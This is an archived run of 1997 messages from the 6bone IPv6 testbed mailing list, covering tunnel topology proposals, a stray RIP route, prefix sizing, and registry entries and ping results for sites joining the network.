> > will it (or should it) map the underlaying IPv4 networks?
> 
> I personally think we should map it as closely as possible to underlaying IPv4
> networks, modulo non-participants.
> 
> Doing this probably heads off alot of headaches down the road.
> 
> -dorian
> 


From majordom@ISI.EDU  Fri Jan 24 03:31:19 1997
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Date: Fri, 24 Jan 1997 14:31:21 -0500
From: dhaskin@baynetworks.com (Dimitry Haskin)
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To: 6bone@isi.edu, Alain.Durand@imag.fr
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Alain,

> 
> 
> I'm getting the prefix 5f00::/16 in a RIP announce.
> I do not understand this preffix. Is it a bug somewhere
> or do I miss something?
> 
> Another question is: should a default route or a 5f00::/8 route
> be advertised by someone? If yes by who?
>
I believe both prefixes, 5f00::/16 and 5f00::/8, were injected
over an experimental tunnel to a bay router and propagated to
other routers.  They are not propagated any more.

> I personnaly tend to think that such routes should not be advertised.
>
> opinions?
>
Agreed.

> 	- Alain.
> 
Dimitry

From majordom@ISI.EDU  Fri Jan 24 09:59:18 1997
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From: Arlie Davis <arlie@thepoint.net>
To: "'6bone@ISI.EDU'" <6bone@ISI.EDU>
Subject: RE: weird RIP prefix: 5f00::/16
Date: Fri, 24 Jan 1997 14:59:18 -0500
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I'm new to the 6BONE and to real-world deployment of IP6, so please take
my question with a grain of salt.

I've noticed in a lot of the traffic discussing routes on this list,
that the length of the prefixes mentioned is quite small.  Is this
normal?  Is this a good thing?  If people are issued a /24 prefix under
IPv6, it allocates proportionally as much as allocating /24 in IP4
address space.

Is there something I don't understand, or are huge chunks of IP6 address
space being thrown about?

-- arlie

>-----Original Message-----
>From:	Alain Durand [SMTP:Alain.Durand@imag.fr]
>Sent:	Friday, January 24, 1997 1:34 PM
>To:	6bone@ISI.EDU
>Subject:	weird RIP prefix: 5f00::/16
>
>Hi
>
>I'm getting the prefix 5f00::/16 in a RIP announce.
>I do not understand this preffix. Is it a bug somewhere
>or do I miss something?
>
>Another question is: should a default route or a 5f00::/8 route
>be advertised by someone? If yes by who?
>
>I personnaly tend to think that such routes should not be advertised.
>
>opinions?
>
>	- Alain.

From majordom@ISI.EDU  Fri Jan 24 04:00:36 1997
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qadams[1]>ping -ip6 5F02:AD00:C050:0D00:0001:0800:207F:049D -p
1 (If 1): [5F02:3000:84B1:7600:0000:0800:2B23:729E], time = 222 ms.
2 (If 1): [::129.88.26.1], time = 410 ms.
3 (If 12): [5F06:B500:8158:1A00:0000:0800:2BB9:F33D], time = 320 ms.
4 (If 1): [5F06:B500:8158:1A00:0000:0800:2075:24EA], time = 648 ms.
5 (If 12): [5F06:B500:8158:1A00:0000:0800:2BB9:F33D], time = 355 ms.
6 (If 1): [5F06:B500:8158:1A00:0000:0800:2075:24EA], time = 398 ms.
7 (If 12): [5F06:B500:8158:1A00:0000:0800:2BB9:F33D], time = 359 ms.
8 (If 1): [5F06:B500:8158:1A00:0000:0800:2075:24EA], time = 566 ms.
9 (If 12): [5F06:B500:8158:1A00:0000:0800:2BB9:F33D], time = 328 ms.


qadams[1]>ping -ip6 5f00:3400:83b3:6000:3:800:207b:fbfb -p
1 (If 1): [5F02:3000:84B1:7600:0000:0800:2B23:729E], time = 164 ms.
2 (If 1): [::129.88.26.1], time = 613 ms.
3 (If 12): [5F06:B500:8158:1A00:0000:0800:2BB9:F33D], time = 374 ms.
4 (If 1): [5F06:B500:8158:1A00:0000:0800:2075:24EA], time = 433 ms.
5 (If 12): [5F06:B500:8158:1A00:0000:0800:2BB9:F33D], time = 324 ms.
6 (If 1): [5F06:B500:8158:1A00:0000:0800:2075:24EA], time = 507 ms.
7 (If 12): [5F06:B500:8158:1A00:0000:0800:2BB9:F33D], time = 332 ms.
8: *


qadams[1]>ping -ip6 5F02:3000:C673:8E00::800:2BE2:844F -p
1: *
2 (If 1): [5F06:B500:8158:1A00:0000:0800:2075:24EA], time = 339 ms.
3: *
4 (If 1): [::129.88.26.1], time = 519 ms.
5 (If 1): [5F02:3000:84B1:7600:0000:0800:2B23:729E], time = 492 ms.
6 (If 1): [::129.88.26.1], time = 855 ms.
7 (If 1): [5F02:3000:84B1:7600:0000:0800:2B23:729E], time = 746 ms.
8: *
9 (If 1): [5F02:3000:84B1:7600:0000:0800:2B23:729E], time = 1117 ms.
10: *
11: *
12 (If 1): [::129.88.26.1], time = 2003 ms.

From majordom@ISI.EDU  Fri Jan 24 10:21:14 1997
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To: "Alain Durand" <Alain.Durand@imag.fr>, 6bone@ISI.EDU
From: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
Subject: Re: G6, new topology & routing policy
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At 19:44 +0100 23/01/97, Alain Durand wrote:
>
>If we reorganize the 6-bone in a geographical approach, I realize
>I should not annouce some sites and maybe I should dig some new tunnels
>with other european sites.
>
>I would like to get some comments: is a geographical approach a good thing?
>will it (or should it) map the underlaying IPv4 networks?
>
>I think this is an important point in this discussion.
>
I'm new on this list. will be on the 6bone in the next few days. I've been
involved in the mbone since a long time (as probably many of this list).  I
think that we should map to the underlaying ipv4 network.  The best way,
least headaches.

Regards, Marc.

-------------------------------------------------------------------------
Marc Blanchet                   | Marc.Blanchet@viagenie.qc.ca
ViaGenie inc.                   | NIC: MB841
3107 ave. des hotels            | radio: VA2-JAZ
Ste-Foy, Quebec, Canada         |
G1W 4W5                         | tel.: 418-656-9254
http://www.viagenie.qc.ca       | fax.: 418-656-0183
-------------------------------------------------------------------------
Auteur du livre "TCP/IP simplifii", Editions Logiques,1997
-------------------------------------------------------------------------




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From: "Matthew R. Ganis (914) 684-4575" <ganis@VNET.IBM.COM>
To: "Alain Durand" <Alain.Durand@imag.fr>, 6bone@isi.edu
Subject: weird RIP prefix: 5f00::/16
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"Alain Durand" <Alain.Durand@imag.fr> writes:
>
>Another question is: should a default route or a 5f00::/8 route
>be advertised by someone? If yes by who?
>
>I personnaly tend to think that such routes should not be advertised.
>

Well, I think a default route or a route of 5f00::/8 is perfectly
valid from a backbone router to a leaf node  (or whatever the
final terminology is).  I think it should be considered illegal
for a leaf node to advertise a default (or 5f00::/8) back to the
backbone.

maybe i'm just stating the obvious, but I thought I'd put it out there.

                                         Matt Ganis.


***********************************************************************
"The best way to get praise    |        Return Address:
  is to die"                   | IBM VNET: GANIS at RHQVM19
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From: Michael Nelson <mikenel@netcom.com>
To: "'6bone@isi.edu'" <6bone@isi.edu>
Subject: 6BONE connection at MAE-EAST
Date: Sun, 26 Jan 1997 19:29:23 -0500
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I am looking to setup a 6BONE connection with someone who has good =
connectivity to MAE-EAST (my provider is CAIS).=20

Also, I need to get access to the RIPE-NCC FTP directory so that I can =
add an entry for my connection, how do I obtain the userid/password?

Thanks, Mike.






From majordom@ISI.EDU  Sun Jan 26 09:52:08 1997
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To: Michael Nelson <mikenel@netcom.com>
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: 6BONE connection at MAE-EAST
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At 4:29 PM -0800 1/26/97, Michael Nelson wrote:
>I am looking to setup a 6BONE connection with someone who has good
>connectivity to MAE-EAST (my provider is CAIS).

I'll wait for someone else on the list respond to this one.


>Also, I need to get access to the RIPE-NCC FTP directory so that I can add
>an entry for my connection, how do I obtain the userid/password?

quote site group ip6rr
quote site gpass 6bone



Bob



From majordom@ISI.EDU  Sun Jan 26 09:57:59 1997
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From: Michael Nelson <mikenel@netcom.com>
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On Sun, 26 Jan 1997, Bob Fink LBNL wrote:

> At 4:29 PM -0800 1/26/97, Michael Nelson wrote:
> >I am looking to setup a 6BONE connection with someone who has good
> >connectivity to MAE-EAST (my provider is CAIS).
> 
> I'll wait for someone else on the list respond to this one.

Someone responded privately. Thanks.

> quote site group ip6rr
> quote site gpass 6bone

Thanks, Mike.


From majordom@ISI.EDU  Sun Jan 26 10:18:06 1997
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Date: Sun, 26 Jan 1997 18:18:06 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: changes to 6bone diagram
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6bone diagram version 46:

1.  BAY-CA/US tunneled from BAY/US

2.  CICNET/US now a backbone site and primary for MERIT/US

3.  CSELT/IT now a backbone site and primary for POLITO/IT

4.  DIGITAL-CA/US now primary for SUMITOMO US and JP

5.  Sites with partial or no tunnels built in RIPE-NCC registry
    shown under NOT COMPLETE list on diagram

	PSC/US
	INTERNET-ALASKA/US
	ESYS/CN
	EPFL/CH
        VIAGENIE/FR



Sorry if I screwed anything up...just let me know.

Remember I'm still trying to adapt this style of diagram to 6bone reality,
so let me know when it makes no sense.


Thanks,

Bob



From majordom@ISI.EDU  Sun Jan 26 10:18:42 1997
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Date: Sun, 26 Jan 1997 18:18:42 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: a 6bone topology discussion
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The recent spurt of new tunnels and various email traffic about it make me
want to comment on what I think we should be doing about the 6bone's
topology and routing.

Alain Durand has raised the question of whether we organize the 6bone's
tunnels on a geographical basis or based on the underlaying IPv4 networks.

Ran has also voiced concern for how routing information is passed on up the
chain, thus propagating bad routes/loops...and has also expressed advocacy
for a 6bone topology based on IPv4's.

At this time everyone is simply deciding to connect to the 6bone via
tunnels in what appears to me to be on a random basis.  If we are to
accomplish something of value as a testbed we should be organized and
methodical about our goals, what we are testing, and how we go about it.

Although I would like to say that we should adapt our topology entirely to
IPv4's, at least for now, that is hard to do everywhere as we have many
places where it is not possible.  For example, it is clearly useful for
some sites that are not ISPs (say Bay, Cisco, Digital, NRL) to provide a
place to tunnel to for their own testing purposes, for their early
customers and/or simply out of being a good Internet "neighbor").

I don't think we should discourage this for the sake of artificial IPv4
topology mapping.  Yet we do want to avoid gratuitous topology that moves
packets inefficiently.  We also want sensible routing, and even useful
testing of routing.


Thus I would propose that we adopt the following:

1.  Agree among us who the "core" backbone sites are, based on them either
being an ISP (e.g., WIDE, JOIN, G6, ESnet, CICNet) or someone seriously
committed to simulating one, at least for this phase of the 6bone (e.g.,
Bay, Cisco, Digital, NRL).

2.  These core sites would then decide how to interconnect among
themselves, i.e., tunnels and routing, based on what makes sense for
performance and reliability, and maybe even for the sake of testing routing
protocols as appropriate.

3.  Identify intermediate backbone (transit) sites that can also serve to
interconnect leaf/stub sites, but who may not wish the full responsibility
or load of being a "core" backbone site. (This extra work may be heavier
duty routing or policy enforcement.)

4.  These transit sites would then decide how to connect with one, or two
at the most, backbone sites based on agreement with those sites.

5.  Leaf/stub sites would then request a tunnel of a transit or backbone
site based on the IPv4 topology as much as possible.  The goal would be to
not traverse the world just to get across town (so to speak) if there is a
practical choice just across town.

6.  These leaf/stub sites would have only one, or two tunnels at most, to
minimize complexity.  The backbone/transit site(s) providing the tunnel
support would enforce routing policy down to the leaf/stub, i.e., make sure
the leaf/stub site understands the rules and disconnect the tunnel when
there is a problem or violation of policy.

7.  Leaf/stub sites don't set up tunnels among themselves, at least not
without real announcement and discussion to the list of intent and purpose,
and hopefully agreement from the list.


I appreciate that the above might be a lot to swallow, but at least we
should discuss what this might mean and decide to use it or develop a
different model.

If we don't, my concern is that we will have a poorly structured mess that
won't be of any use as we move ahead to the next more difficult test phases
of IPv6.

We have come so far with the 6bone to not want to preserve and enhance it!


Comments please - I just want to move ahead :-)


Thanks,

Bob



From majordom@ISI.EDU  Mon Jan 27 06:37:56 1997
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From: "Harrington, Dan" <dth@lucent.com>
To: "'6bone@ISI.EDU'" <6bone@ISI.EDU>
Cc: "'arlie@thepoint.net'" <arlie@thepoint.net>
Subject: RE: weird RIP prefix: 5f00::/16
Date: Mon, 27 Jan 1997 11:37:56 -0500
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Arlie asked:
> I've noticed in a lot of the traffic discussing routes on this list,
> that the length of the prefixes mentioned is quite small.  Is this
> normal?  Is this a good thing?

In general, yes, short prefixes are good, in that they
allow a large number of potential systems to be represented
in a succinct manner.  This is the basis of the CIDR model,
which aims to reduce the number of routing table entries
by aggregating a number of contiguous network addresses behind
a prefix shorter than any of the individual entries would be.

> If people are issued a /24 prefix under
> IPv6, it allocates proportionally as much as allocating /24 in IP4
> address space.

No, not really.  If you've got a 24 bit prefix in IPv4, then
you are 75% (24/32) of the way through the address, and you've
only got 8 bits to number the systems within that /24 network
prefix.  In IPv6, a 24 bit prefix is less than 20% of the way
through the address, and thus can "hide" a much larger number of
networks and systems behind that single entry, as you've still got
104 bits to play with.

> Is there something I don't understand, or are huge chunks of IP6
address
> space being thrown about?

I think you've got it...note that all of the prefixes in use on
the 6bone are as defined in RFC 1897, and represent a fraction of
the total address space defined in RFC 1884.

Dan

From majordom@ISI.EDU  Mon Jan 27 06:57:35 1997
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To: Bob Fink LBNL <RLFink@lbl.gov>
Cc: 6bone@ISI.EDU (6BONE Mailer)
Subject: Re: a 6bone topology discussion 
In-Reply-To: Your message of "Sun, 26 Jan 97 18:18:42 PST."
             <v03007818af0d84f17865@[128.3.9.22]> 
Date: Mon, 27 Jan 97 11:57:35 -0500
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Bob,

>1.  Agree among us who the "core" backbone sites are, based on them either
>being an ISP (e.g., WIDE, JOIN, G6, ESnet, CICNet) or someone seriously
>committed to simulating one, at least for this phase of the 6bone (e.g.,
>Bay, Cisco, Digital, NRL).

Digital Palo Alto Internet Exchange (PAIX) Digital-CA 6bone connection
is seriously committed to simulating for now and possibly into the
future IPv6 on the 6bone.  We would be glad to be a core backbone
router.  So add us to that list.

I think the topology you laid out is good and the idea of going next
door instead of cross country to get next door.  But there is one
problem and it may just be a Digital problem right now.  Let me explain.

In a few short weeks we will be defining a public strategy for IPv6 so
our customers can begin to use/deploy IPv6.  These will be the early
adopters.  These customers will want to connect to the 6bone and other
services as they are deployed for IPv6.  We intend to gurantee them a
level of service and support during this process.  So if we tell them we
will "take-care-of-and-support-you" at Digital-CA entry point it gives
them relief from some problems while connecting and real support.  

So the customer may want to access the 6bone via Digital-CA even if they
are in Naples, Florida U.S. to obtain the support, etc. we provide via
Digital-CA.  As opposed to another core-backbone-router that is just up
and running and does not really have the resources to manage, support,
or assist users with the 6bone connection.

As you stated this should permitted, but must be controlled by
the core-backbone routers (e.g. Digital-CA, ESnet, CICnet).  I think
it very important that our map of the 6bone permit viewing of these leaf
nodes in some manner as the customer will want to see themselves on the
6bone drawing.  It also assists us to track the number and range of
users using IPv6 on the 6bone via the WWW.

If those that are going to ***really really*** take on being
core-backbone routers for the 6bone, and provide support, and would 
like to discuss this with us to work something out geographically please 
contact privately myself (bound@zk3.dec.com) and Stephen Stuart 
(stuart@pa.dec.com) for that discussion.  

/jim


From majordom@ISI.EDU  Mon Jan 27 02:44:35 1997
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Date: Mon, 27 Jan 1997 13:44:36 -0500
From: dhaskin@baynetworks.com (Dimitry Haskin)
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> 
> Thus I would propose that we adopt the following:
> 
> 1.  Agree among us who the "core" backbone sites are, based on them either
> being an ISP (e.g., WIDE, JOIN, G6, ESnet, CICNet) or someone seriously
> committed to simulating one, at least for this phase of the 6bone (e.g.,
> Bay, Cisco, Digital, NRL).
>
Yes we need to define the core backbone sites but they can not be limited
to ISPs on 6bone.  Of cause ISPs are welcome to offer commercial grade 
IPv6 services independently.  As it stands now some non-ISP sites are
more IPv6-commited than ISP ones and may provide better services to their
clients.

> 
> 5.  Leaf/stub sites would then request a tunnel of a transit or backbone
> site based on the IPv4 topology as much as possible.  The goal would be to
> not traverse the world just to get across town (so to speak) if there is a
> practical choice just across town.
>
This can be recommended but cannot be required.  There are other than
topology considerations that can't be ignored.

Dimitry

From majordom@ISI.EDU  Mon Jan 27 21:29:59 1997
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Message-Id: <32ED0237.CF1@net.telecomitalia.it>
Date: Mon, 27 Jan 1997 20:29:59 +0100
From: Francesco Iuso <iuso@net.telecomitalia.it>
Organization: TELECOM Italia
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To: 6bone@isi.edu
Cc: volpe@net.telecomitalia.it, ivano.guardini@cselt.stet.it
Subject: New 6Bone site SIRIUS-LAB1
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Hi,

SIRIUS-LAB1/IT has connected to 6bone.

We've set up a tunnel to CSELT/IT and our entry in the RIPE database is
as follows:

site:           Telecom Italia Divisione Rete
location:       Roma, ITALY
loc-string:     45 03 52.2n 07 39 43.2e 250m
prefix:         5f15:8100::/32
ping:           5f15:8100:c2f2::20:afc7:0
tunnel:         194.242.0.68  163.162.252.4  CSELT
contact:        Francesco Iuso <iuso@net.telecomitalia.it>
                Ivano Guardini <ivano.guardini@cselt.stet.it>
status:         operational since January 27, 1997
remark:         PC 486, IPv6 NRL working on NetBSD 1.2
changed:        iuso@net.telecomitalia.it 19970127
source:         RIPE

    Bye
  
        Franceso


-- 
Francesco Iuso                       TELECOM Italia DRE/TA-SP2
tel. + 39 6 3688 6273                Via della Vignaccia 45
fax. + 39 6 32 22 637                I-00163 Roma
E-Mail iuso@net.telecomitalia.it     Italy

From majordom@ISI.EDU  Mon Jan 27 10:47:42 1997
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From: dlee@visc.vt.edu (David Lee)
Message-Id: <199701272047.PAA07245@ocarina.visc.vt.edu>
Subject: Connection request
To: 6bone@isi.edu
Date: Mon, 27 Jan 1997 15:47:42 -0500 (EST)
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Hello --

I'm trying to get several test nodes up on the 6bone and have a number
of questions.  First, my understanding is that we should be using our
provider's ASN and not our site ASN -- fine, except we have three different
providers... see next question.  Second, my best guess for the
tunnel connection (from ocarina.ee.vt.edu) would be to NRL (going back
to the first question, do I pick Sprint's ASN since that's the particular
provider that we'd be using in this case?). 

Thanks,
DCL

-- 
David C. Lee, EE PhD student/GRA - http://www.visc.vt.edu/~dlee - dlee@vt.edu
PHONE: 1-540-231-8398 | FAX: 1-540-231-3362 | LOCATION: 475 Whittemore Hall
Virginia Tech Information Systems Center, Blacksburg, Virginia 24061-0111

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Content-Transfer-Encoding: 8bit
Date: Tue, 28 Jan 1997 13:51:23 -0500
To: 6bone@isi.edu
From: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
Subject: new 6bone site
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

Hi,
	our site (VIAGENIE/CA in Canada) is connected to the 6bone since
last friday(19970124), through DIGITAL-CA.  We will be down for this week
for an upgrade and then back next week on the 6bone.

Here is our entry in the RIPE db:

site:		Viagenie inc.
location: 	Ste-Foy, Quebec, Canada
prefix: 	5F16:8900:CE7B:1F00::/64
ping:	 	5F16:8900:CE7B:1F00::800:2080:9A38
tunnel:         206.123.31.101 204.123.2.236 DIGITAL-CA/US
contact: 	Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
status:         operational since 19970124
changed:        Marc Blanchet <Marc.Blanchet@viagenie.qc.ca> 19970124
source:         RIPE


Regards, Marc.

-------------------------------------------------------------------------
Marc Blanchet                   | Marc.Blanchet@viagenie.qc.ca
ViaGenie inc.                   | NIC: MB841
3107 ave. des hotels            | radio: VA2-JAZ
Ste-Foy, Quebec, Canada         |
G1W 4W5                         | tel.: 418-656-9254
http://www.viagenie.qc.ca       | fax.: 418-656-0183
-------------------------------------------------------------------------
Auteur du livre "TCP/IP simplifii", Editions Logiques,1997
-------------------------------------------------------------------------




From majordom@ISI.EDU  Thu Jan 30 00:41:27 1997
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From: lf@elemental.net (Lars Fenneberg)
Subject: New 6bone site MCS/DE
To: 6bone@isi.edu
Date: Wed, 29 Jan 1997 23:41:27 +0100 (MET)
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Hi!

MCS joined the 6bone yesterday.

Our RIPE registry entry:

site:       Moorbeck Computer Systeme GmbH / Cityline
location:   Hamburg, Germany
prefix:     5f15:9100::0/32
tunnel:     194.221.20.129      132.250.90.5    NRL
tunnel:	    194.221.20.129	129.88.26.1	G6
contact:    Lars Fenneberg <lf@elemental.net>
status:     operational since about October, 1996
remark:     running on Linux/IPv6 2.1.x
remark:     please don't install automatic pings to the IPv4 tunnel endpoint
remark:     if possible because it's currently reached via a dial-on-demand 
remark:	    line
changed:    lf@elemental.net 970129
source:     RIPE

Regards,
	Lars.
-- 
Lars Fenneberg,  lf@elemental.net,  phone: +49 40 529 833 10
fingerprint D1 28 F1 FF 3C 6B C0 27  CC 9C 6C 09 34 0A 55 18

From majordom@ISI.EDU  Thu Jan 30 15:51:36 1997
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From: Stuart Prevost <stuart.prevost@bt-sys.bt.co.uk>
To: "'6bone@isi.edu'" <6bone@isi.edu>
Subject: New 6bone site BT-Labs
Date: Thu, 30 Jan 1997 15:51:36 -0000
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Hello,

BT Labs has connected to the 6bone.  We have two tunnels, one to NRL and
the other to the University of Lancaster.

I have added an entry in the RIPE database as follows

site:		BT Labs, Martlesham Heath
location:	Suffolk, UK
loc-string:	52 04 00n 1 17 00e
prefix:		5f06:d800/32
ping:		5f06:d800:c171:3a00::1
tunnel:		193.113.58.75 132.250.90.5 NRL
tunnel:		193.113.58.75 148.88.153.38 ULANC
contact:		Stuart Prevost <stuart.prevost@bt-sys.bt.co.uk>
status:		operational
remark:		IPv6 for Solaris 2.5.1
changed:	stuart.prevost@bt-sys.bt.co.uk 970130
source:		RIPE

Stuart


Stuart Prevost
Advanced Applications & Technology,  
BTLabs

stuart.prevost@bt-sys.bt.co.uk
Tel:01473 646891  (int +44 1473 646891)


From majordom@ISI.EDU  Sat Feb  1 02:21:30 1997
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To: 6bone@isi.edu
Subject: Re: weird RIP prefix: 5f00::/16
In-Reply-To: Your message of "Fri, 24 Jan 1997 19:33:46 +0100"
References: <970124193347.ZM4686@rama.imag.fr>
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Date: Fri, 31 Jan 1997 17:21:30 +0900
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From: Kazu Yamamoto =?ISO-2022-JP?B?GyRCOzNLXE9CSScbKEI=?=  <kazu@is.aist-nara.ac.jp>
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Hi, 

From: "Alain Durand" <Alain.Durand@imag.fr>
Subject: weird RIP prefix: 5f00::/16
Date: Fri, 24 Jan 1997 19:33:46 +0100

> I'm getting the prefix 5f00::/16 in a RIP announce.
> I do not understand this preffix. Is it a bug somewhere
> or do I miss something?

I'm receiving ::/0 as well as 5f00::/8 from Cisco. I wonder that ::/0
is necesary with the current address assignment.

P.S.

I'm also receiving packets with link-local source addresses from
off-link. Please check out your IPv6 code in case.

Thanks,

--Kazu

From majordom@ISI.EDU  Fri Jan 31 12:56:57 1997
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Date: Fri, 31 Jan 1997 11:56:57 +0100
From: capitani@sun1.spfo.unibo.it (Gianluca Capitani)
Message-Id: <199701311056.LAA02148@sun1.spfo.unibo.it>
To: 6bone@isi.edu
Subject: New 6bone site UNIBO
Cc: beppe@unibo.it, gmartoni@cesia.unibo.it, grillini@cesia.unibo.it,
        capitani@sun1.spfo.unibo.it
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Hello,

University of Bologna (ITALY) has connected to the 6bone.
We have 1 tunnel to POLITO.

I have added an entry in the RIPE database as follow:

site:		University of Bologna
location:	Bologna, site of Forli' - ITALY
loc-string:     44 20 10n 12 00 10e 200m 	
prefix:		5f15:4100:89cc::/48
ping:		5f15:4100:89cc:c600:c6:800:2074:ce95
tunnel:		137.204.198.2 130.192.26.254  POLITO
contact:	Gianluca Capitani <capitani@spfo.unibo.it>
status:		operational since Jan.1997
remark:		IPv6(rel.5) for Solaris 2.5.1 
remark:         Running a IPv6-capable Bind 4.9.3 on sun1.spfo.unibo.it 
changed:	capitani@spfo.unibo.it  970131
source:		RIPE


Below is the ping result to POLITO tunnel:

sun1%[54]:./ping -s  5f15:5000:82c0:e00:bd:800:2bb5:a7a8
PING 5f15:5000:82c0:e00:bd:800:2bb5:a7a8: 56 data bytes
64 bytes from 5f15:5000:82c0:e00:bd:800:2bb5:a7a8: icmp_seq=0. time=182 ms
64 bytes from 5f15:5000:82c0:e00:bd:800:2bb5:a7a8: icmp_seq=1. time=130 ms
64 bytes from 5f15:5000:82c0:e00:bd:800:2bb5:a7a8: icmp_seq=2. time=123 ms
64 bytes from 5f15:5000:82c0:e00:bd:800:2bb5:a7a8: icmp_seq=3. time=130 ms
64 bytes from 5f15:5000:82c0:e00:bd:800:2bb5:a7a8: icmp_seq=4. time=127 ms
64 bytes from 5f15:5000:82c0:e00:bd:800:2bb5:a7a8: icmp_seq=5. time=149 ms
64 bytes from 5f15:5000:82c0:e00:bd:800:2bb5:a7a8: icmp_seq=6. time=173 ms
64 bytes from 5f15:5000:82c0:e00:bd:800:2bb5:a7a8: icmp_seq=7. time=165 ms
64 bytes from 5f15:5000:82c0:e00:bd:800:2bb5:a7a8: icmp_seq=8. time=218 ms
64 bytes from 5f15:5000:82c0:e00:bd:800:2bb5:a7a8: icmp_seq=9. time=208 ms
64 bytes from 5f15:5000:82c0:e00:bd:800:2bb5:a7a8: icmp_seq=10. time=177 ms

----5f15:5000:82c0:e00:bd:800:2bb5:a7a8 PING Statistics----
11 packets transmitted, 11 packets received, 0% packet loss
round-trip (ms)  min/avg/max = 123/162/218


Please update the full routing table.
Thanks.                                Gianluca C..

                                         Gianluca Capitani
                                         University of Bologna (site of Forli')
                                         Tel: +39-543-450280

From majordom@ISI.EDU  Thu Jan 30 23:27:37 1997
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 <c=GB%a=_%p=BT%l=NORMAN-970130155136Z-1048@mussel.drake.bt.co.uk>
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Date: Fri, 31 Jan 1997 07:27:37 -0800
To: Stuart Prevost <stuart.prevost@bt-sys.bt.co.uk>
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: New 6bone site BT-Labs
Cc: 6bone@isi.edu (6BONE Mailer)
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Stuart,

Before I can put you on the 6bone diagram I need to know which route
(tunnel) is your primary one, NRL or ULANC?

Also, there is no corresponding RIPE-NCC entry for you in NRL's entry.


Before I add folk to the diagram I need all RIPE-NCC entries complete and
the tunnel pingable (and of course which is the primary if there are
multiple tunnels).


Thanks,

Bob

===============================================
At 7:51 AM -0800 1/30/97, Stuart Prevost wrote:
>Hello,
>
>BT Labs has connected to the 6bone.  We have two tunnels, one to NRL and
>the other to the University of Lancaster.
>
>I have added an entry in the RIPE database as follows
>
>site:		BT Labs, Martlesham Heath
>location:	Suffolk, UK
>loc-string:	52 04 00n 1 17 00e
>prefix:		5f06:d800/32
>ping:		5f06:d800:c171:3a00::1
>tunnel:		193.113.58.75 132.250.90.5 NRL
>tunnel:		193.113.58.75 148.88.153.38 ULANC
>contact:		Stuart Prevost <stuart.prevost@bt-sys.bt.co.uk>
>status:		operational
>remark:		IPv6 for Solaris 2.5.1
>changed:	stuart.prevost@bt-sys.bt.co.uk 970130
>source:		RIPE
>
>Stuart
>
>
>Stuart Prevost
>Advanced Applications & Technology,
>BTLabs
>
>stuart.prevost@bt-sys.bt.co.uk
>Tel:01473 646891  (int +44 1473 646891)




From majordom@ISI.EDU  Thu Jan 30 23:40:31 1997
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Date: Fri, 31 Jan 1997 07:40:31 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: new 6bone diagram (47)
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6bone diagram 47

	EPFL/CH tunnelled to SWITCH/CH

	PSC/US tunnelled to DIGITAL-CA/US

	VIAGENIE/CA tunnelled to DIGITAL-CA/US

	UNIBO/IT tunnelled to POLITO/IT

	SIRIUS-LAB1/IT tunnelled to CSELT/IT

	MCS/DE tunnelled to G6/FR


Welcome to all!!


Remember that I need sanity checks on the diagram, especially as to what is
the primary path for a site.

My rule is to pick the one that looks most likely to be closest if I'm not
told otherwise.


Thanks,

Bob



From majordom@ISI.EDU  Thu Jan 30 23:53:28 1997
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Date: Fri, 31 Jan 1997 07:53:28 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 6bone stats page added for CSELT/IT
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Added CSELT/IT ping reachability data page:

	http://www-6bone.lbl.gov/6bone/6bone_stats.html


Thanks to Ivan Guardin1.

Bob



From majordom@ISI.EDU  Fri Jan 31 19:19:29 1997
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To: 6bone@isi.edu
Cc: Erik-Jan Bos <erik-jan.bos@surfnet.nl>, Niels.denOtter@surfnet.nl
Subject: Looking for 6bone tunnel
From: Erik-Jan Bos <erik-jan.bos@surfnet.nl>
X-Organization: SURFnet bv, Utrecht, The Netherlands
X-Url: http://www.surfnet.nl/surfnet/persons/bos/
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Date: Fri, 31 Jan 1997 18:19:29 +0100
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6boners,

we currently have our v6 box up-and-running and we are looking for a
tunnel.

We are located in The Netherlands, Europe. Knowning something about the
IPv4 unicast topology, a tunnel to a v6 node inside NORDUnet might be a
good idea. But any other offers are welcome as well.

Thanks in advance.

__

Erik-Jan Bos
SURFnet
The Netherlands

From majordom@ISI.EDU  Fri Jan 31 08:04:39 1997
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From: dlee@visc.vt.edu (David Lee)
Message-Id: <199701311804.NAA04960@ocarina.visc.vt.edu>
Subject: New Site
To: 6bone@isi.edu
Date: Fri, 31 Jan 1997 13:04:39 -0500 (EST)
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RIPE record:

site:           Virginia Polytechnic Institute and State University (VT)
location:       Blacksburg, Virginia, US
loc-string:     N 37-12.5 W080-24.4
prefix:         5F05:2000:80AD:5800::0/64
ping:           5F05:2000:80AD:5800:0058:0800:2023:1D71
tunnel:         128.173.88.82 198.82.204.73 Inner
contact:        David Lee <dlee@vt.edu>
status:         operational since January 29, 1997
remark:         Routes will be added on request to dlee@vt.edu
remark:         Other information at http://www.visc.vt.edu/ipv6
remark:         and at http://www.ee.ipv6.vt.edu/ipv6
changed:        dlee@vt.edu 970131
source:         RIPE

Note that DNS delegation has not occurred yet and should relatively soon.
Currently, send your resolution requests to ocarina.ee.vt.edu.

Tunnel ping information:

ocarina:/home/dlee > ping anger.ipv6.inner.net
Using IPv6.
PING anger.ipv6.inner.net: 56 data bytes
sending 64 bytes to 5f05:2000:c733:2100::5
Packet length= 64, header length= 40, priority= 0, flow label= 0
Echo reply: 64 bytes from 5f05:2000:c733:2100::5: icmp_seq=0. time=53 ms
sending 64 bytes to 5f05:2000:c733:2100::5
Packet length= 64, header length= 40, priority= 0, flow label= 0
Echo reply: 64 bytes from 5f05:2000:c733:2100::5: icmp_seq=1. time=26 ms
sending 64 bytes to 5f05:2000:c733:2100::5
Packet length= 64, header length= 40, priority= 0, flow label= 0
Echo reply: 64 bytes from 5f05:2000:c733:2100::5: icmp_seq=2. time=25 ms
sending 64 bytes to 5f05:2000:c733:2100::5
Packet length= 64, header length= 40, priority= 0, flow label= 0
Echo reply: 64 bytes from 5f05:2000:c733:2100::5: icmp_seq=3. time=9 ms
